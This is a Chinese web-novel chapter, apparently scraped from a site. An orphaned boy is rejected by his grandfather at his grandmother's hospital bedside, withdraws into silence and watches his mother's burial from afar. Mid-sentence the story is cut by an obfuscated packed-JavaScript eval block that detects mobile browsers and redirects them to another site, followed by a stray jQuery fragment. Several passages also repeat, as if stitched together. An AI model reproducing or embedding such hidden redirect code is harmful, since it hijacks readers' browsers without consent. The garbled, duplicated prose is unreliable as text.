“喂，王主任？”
“乔雪，你妈下午突然犯了心绞痛，现在还在抢救室观察，你快来！”对方略带急躁。
乔雪眉头皱起，喉咙里只挤出一句：“我马上到。”
她挂断电话，抬头看向鹤羽，眼神里全是碎裂的慌乱，却强行把嘴角往上扯：“鹤羽，阿姨要去医院，你外婆……她不太好。她一直念叨想见你，跟我一起去，好不好？”
鹤羽愣了一下，随即点头，心里不自觉有了期待和忐忑：“好。”
这是他第一次要去见外婆。 妈妈的妈妈。 除了乔梅，这世上跟他血缘最近的人。 他心脏跳得又快又乱，像揣了一只小鹿，既想扑进那份迟到的亲情里，又怕一脚踩空，摔得粉身碎骨。
出租车在章市繁华的街道上狂奔，路灯一盏盏往后倒退。鹤羽把额头抵在车窗上，偷偷看乔雪，她正低头回消息，处理着教务上的工作。
医院比他想象中旧得多。 外墙的瓷砖发黄，掉渣，走廊灯管滋啦滋啦闪，像随时会熄。空气里混着来苏水和饭菜的酸味，病人家属三三两两蹲在墙角，眼神空洞。
乔雪几乎是小跑着带他上楼，鞋跟在地面敲出急促的回声。拐过两条走廊，来到一扇沉重的深绿色铁门前，乔雪深吸一口气，推门。
病房里只有一盏昏黄的壁灯。 外婆躺在最靠窗的那张床上，被子盖到下巴，只露出瘦得脱相的脸。 监护仪的曲线忽高忽低，滴滴声像催命的鼓点。
护士正在记录数据，见她们进来，低声交代：“病人刚才心率失常了一次，已经推了药，现在暂时稳住了。但情绪必须绝对平静，如果有异常赶紧摁铃。”
乔雪点头，声音哑得不像自己的：“谢谢，我知道了。”
她牵着鹤羽，一步一步走到床边。
外婆的眼睛闭着，眼皮薄得能看见底下青紫的血管。鹤羽屏住呼吸，怕自己呼出的气都会把她吹碎。
就在这时，外婆的睫毛颤了颤，慢慢睁开眼。
那双眼浑浊，却在对上鹤羽的一瞬间，轰然炸开光。
“……鹤、鹤羽？” 她声音细若游丝，带着浓重的气音，却固执地要把身体撑起来。
乔雪赶紧去扶，却被外婆一把推开。 她伸出那只没扎针的手，枯瘦得只剩皮包骨，却抖着朝鹤羽张开。
鹤羽第一眼看见的，是外婆的头发。
全白了，像雪化在发根，又像一把碎银撒在枕头上。
她整个人缩在被子里，瘦得几乎只剩一把骨头，脸颊塌陷，皮肤薄得能看见底下青紫的血管。
可当她听见门响、艰难地转过头来时，那双眼睛却一下子亮了。
那瞬间，鹤羽突然明白妈妈当年为什么说“外婆的眼睛跟你长得一模一样”。
那是一片很深的湖，湖面结着冰，可冰底下全是热烈滚烫的水。
“……鹤羽？”
外婆的声音沙哑得不像话，像很久没喝水的人，可尾音却不受控制地往上扬，带着颤。
乔雪刚想开口，外婆已经撑着床沿要坐起来，手背上扎着的留置针被扯得鲜血倒流。
乔雪慌忙去按，她却固执地摇头，眼泪先一步掉下来，砸在被单上，晕开深色的圆。
“让我看看……让我看看孩子……”
她伸出那只没打针的手，抖得厉害，指尖全是老人斑，却固执地朝鹤羽张开。
鹤羽的鼻子瞬间酸得发疼。
他快步走过去，在床边半跪下来，把自己的手放进外婆干枯的掌心。
外婆的手冰凉，却立刻把他的手握得紧紧的。
“长高了……跟照片里又不一样了……”
外婆的眼泪一颗颗往下掉，“眼睛像我家梅梅……鼻子又像你爸……哎哟，这嘴，这嘴怎么这么像我年轻时候……”
她一边哭一边笑，另一只手颤巍巍地去摸鹤羽的头发、脸颊、肩膀，像要把这些年错过的每一寸都摸回来。
鹤羽低着头，眼泪啪嗒啪嗒砸在外婆的手背上，烫得外婆一个哆嗦。
“外婆……我来看您了。”
他声音发抖，却努力让每个字都清晰，“对不起……我来晚了。”
外婆摇头，摇头摇得留置针的胶带都松了。
“不晚什么……你能来，外婆就知足了……”
外婆却像被注入了什么魔力，精神头一下子回来了，拉着鹤羽的手不肯松开。
外婆我可以经常来看你吗？
当然可以，我的乖外孙能天天来就好了。
林鹤羽的心久违的升腾出一丝幸福的感觉，这种感觉是对自己即将有家了的归属感。
照顾外婆的这段时间，鹤羽像个小大人一样，帮着倒水、递药，努力让每一次动作都轻柔，生怕惊扰了这个素未谋面的亲人。外婆的眼睛总跟着他转，嘴角偶尔会弯起一丝笑意，却带着浓重的疲惫。雪姨中途出去了，说是去办点事，病房里只剩祖孙俩。外婆趁机从枕头底下摸出一沓皱巴巴的钞票，塞到鹤羽手里，声音慈爱：“孩子，拿着，买点吃的……外婆没啥好给你的。”
鹤羽摇摇头，把钱推回去，手指冰凉得像冬天的树枝：“外婆，我不要……我有钱。”他声音软软的，带着点讨好的意味，心里却暖得像融化的糖——这是他第一次感受到这种迟到的、血脉相连的疼爱。
日落西山，橘红的余晖从窗帘缝里漏进来，把病房镀成一片暖金。鹤羽靠在床边椅子上，望着外婆浅浅的呼吸，脑子里乱糟糟的。外公还没来，他有点期待，又有点怕。雪姨说过，外公脾气倔，万一不认他呢？
傍晚的医院走廊被消毒水味浸透，灯光惨白，像一层薄薄的霜。外婆休息了，林鹤羽原本坐在外婆病房外的长椅上等乔雪回来，手里攥着外婆偷偷塞给他的两张百元钞票——他没敢收，又不敢放回去，只能捏得皱巴巴的。病房门虚掩着，里面传来外婆低低的、几乎带着哭腔的声音。他本想推门，却在门缝前停住了。
“……当年我和你见到那林强第一眼，就知道他软弱。他连正眼看我们都不敢，不知道是心虚还是不好意思。一个男人怎么能不结婚就让女人给他生孩子？我们都劝梅梅想想，可她就是铁了心。你把她关起来，她过几天就跑了，从此杳无音讯。这几年我每天梦到她，梦到她哭，说过得不幸福。我安慰自己那是梦，现实跟梦相反，阿梅其实在偷偷幸福着……哎。”
乔路明的声音从里面传出来，冷而硬，像一块无懈可击的盾牌。
“当年她选了那个烂赌鬼，抛下我们全家。现在呢？她死了，林强进去了，留下这么个拖油瓶。你想让我认？门都没有！”
外婆的声音抖得厉害：“可鹤羽是无辜的！他是我们的血脉！”
“血脉？那林强的血脉！当年我和你见到他，就知道这人不成器。梅梅是研究员，多好的前途，为他毁了。我们劝她分开，她不听。现在这孩子来投奔？想都别想！如果真到了那地步，雪儿照顾他去。我不管。”乔路明的声音忽然拔高，又迅速压低，像怕被别人听见，“当年我就说过，谁敢把那野种带回来，我就当谁死了。你要是不怕，我也当你死了。”
外婆喘得更急：“雪儿说最近有人跟踪她，可能黄世仁那畜生找上门了。她报警了，警察不管。她担心鹤羽跟着她有危险……路明，你就不能心软一次？”
乔路明顿了顿，声音里多了一丝犹豫，却很快被倔强压下：“那更不能留！我们家这些年被黄世仁折腾够了。梅梅选了林强，就该自己担后果。这孩子，我不认。”
争吵声戛然而止，只剩外婆低低的抽泣。鹤羽的脑子嗡嗡作响，像被锤子砸过。他滑坐在地上，双手抱膝，眼睛干涩得发疼，却一滴泪都没掉。
那一刻，他的世界崩塌了。鹤羽站在门外，手里的钞票已经被汗水浸透。
那一刻，有什么东西在身体里“咔嚓”一声断了，干脆、利落，再也接不回去。
他原本以为，只要自己再乖一点，再懂事一点，再把头低得更低一点，就能换来一点点容身之处。可原来不是这样的。原来有些拒绝，是不需要理由的，连“讨厌”都不值得，连一个眼神都吝啬给。
他慢慢松开手，两张钞票飘到地上，像两片枯叶。他没有去捡。
鹤羽转身，一步一步往走廊尽头走。脚步很轻，轻得像猫，却又沉得像拖着铁链。他经过护士站，经过哭闹的病人，经过推着尸体车的值班工，没有人看他一眼。他也不再抬头看任何人。
以前他总把眼睫低垂，怕别人看见他眼里的乞求。现在他依旧低着眼睫，却不再是怕，而是懒得再看这个世界了。那里面没有他的位置，连缝隙都没有。
乔雪找到他的时候，他正坐在医院后门的水泥台阶上，天已经完全黑了。晚风卷着落叶扫过他脚背，他一动不动，像一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053396|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
截木头。
“鹤羽！”乔雪气喘吁吁地跑过来，蹲在他面前，“你跑哪儿去了？我找了半天！”
鹤羽抬起头。那双总是湿漉漉、总是带着小心翼翼讨好的眼睛，此刻干干净净，像被水洗过的黑曜石，没有恐惧，没有委屈，没有期待，什么都没有。
乔雪心里猛地一沉。她见过太多孩子的眼睛，哭的、笑的、惊恐的、麻木的，可从没见过这样……空的。
“鹤羽？”她试探着喊他。
他看着她，过了很久，才缓缓开口，声音轻得像尘埃：“小雪阿姨，我能去参加我妈妈的葬礼吗？”
乔雪的脸色瞬间白了。
鹤羽没有等她的回答继续说，语调平得像一条笔直的线：“结束了我就回茨城县住校。我能照顾好自己。”
他顿了顿，嘴角轻轻扯了一下，像在笑，又不像。
我以前总觉得自己活着是给别人添麻烦，所以拼命想让自己变得有用一点，不吵不闹不哭不闹……可原来不是的。
原来我只是不配活着。我生来就不是被祝福的，甚至是一段虐缘的延续，最在乎我的人，似乎也快要不见了，那个家，好像从来就不属于我，我只是一个野种而已。
他没把话说出来，但乔雪仿佛听见了。她伸手想抱他，却被鹤羽轻轻避开了。那动作很轻，很慢，却带着一种不容置疑的决绝。
夜色吞没了他的背影，像吞没一粒尘埃。
从那天起，林鹤羽再也没对任何人说过一句多余的话。
他变得极安静，安静得像不存在。吃饭、走路、睡觉、发呆，都不发出一点声音。别人跟他说话，他会点头或者摇头，不开口。
他不再讨好，不再害怕，也不再期待。
那颗曾经柔软、敏感、总是受伤却仍旧渴望被爱的心，在听见外公那句“野种”的时候，彻底结了冰。
冰层很厚，很硬，很冷，却再也不会碎了。眼泪似乎也从那时起，再也没有了，因为那是被爱、被在乎的特权。
鹤羽不记得自己是怎么从章市回到茨城县的。火车窗外，田野像被水晕开的旧照片，一片片掠过，他却什么也没看进去。那些夜晚更是一团黑，他只记得自己蜷在老房子床上，盯着天花板的裂纹，一夜一夜不合眼。母亲走了，带走了他最后一点温度。
下葬那天，章市的天灰蒙蒙的。
公墓在山坡上，风很大。
鹤羽没走近，他站在百米外的松树下，隔着一条刚修的柏油路，远远地看着那块小小的墓穴。
人群围成一圈，黑压压的伞，像一群乌鸦停在墓碑上。
墓地里挤满了人，哭声、骂声、蝉声搅成一片，像要把整个夏天撕碎。雪姨哭到晕厥，外婆用手背狠狠抹脸，却越抹越红。
陌生面孔里有愤怒的，有人指着墓碑骂“林家那王八蛋害了我们梅梅”；有人哭得撕心裂肺，哭声被风吹得支离破碎，飘到鹤羽耳边，变成钝钝的嗡鸣。
他一动不动地站着，骨头里那股冷从脚底往上爬，爬到喉咙，爬到眼眶，却爬不出眼泪。
他看着母亲的棺木一点点沉进土里，每一铲土落下，都像直接砸在他心口。最后一铲结束时，他听见自己胸腔里有什么东西“喀啦”一声断了。
鹤羽的嘴唇动了动，声音轻得只有风能听见：
“妈妈，回家吧。”
人群里有人回头看他，眼神带着审问：你是谁？你凭什么站那么远？
他把帽檐压得极低，把整张脸藏进阴影里。
葬礼散场时，天开始下雨。
人群撑伞往山下走，黑色的河流漫过山径。
一个穿旧呢大衣的大妈拦住他。她头发花白，脸上有常年风吹的裂纹，眼睛却亮得吓人。她上下打量他：“你是乔梅的孩子吧？长得真像她，尤其是这双眼睛，一看就知道。”
鹤羽垂下眼，他听见自己的声音像从很远的地方飘出来，平静得不像自己的：
“不是，您认错人了。我是隔壁场子的，走错了。”
大妈愣住，张了张嘴，还想说什么。鹤羽已经侧身走过她，脚步不快，却一步也不回头。风卷着他的衣角，像要把他从这个世界整个卷走。
他穿过人群，穿过那些哭声、骂声、叹息声，像穿过一场再与他无关的暴风雨。
母亲被埋进了土里，而他，把自己埋进了更深的土地里。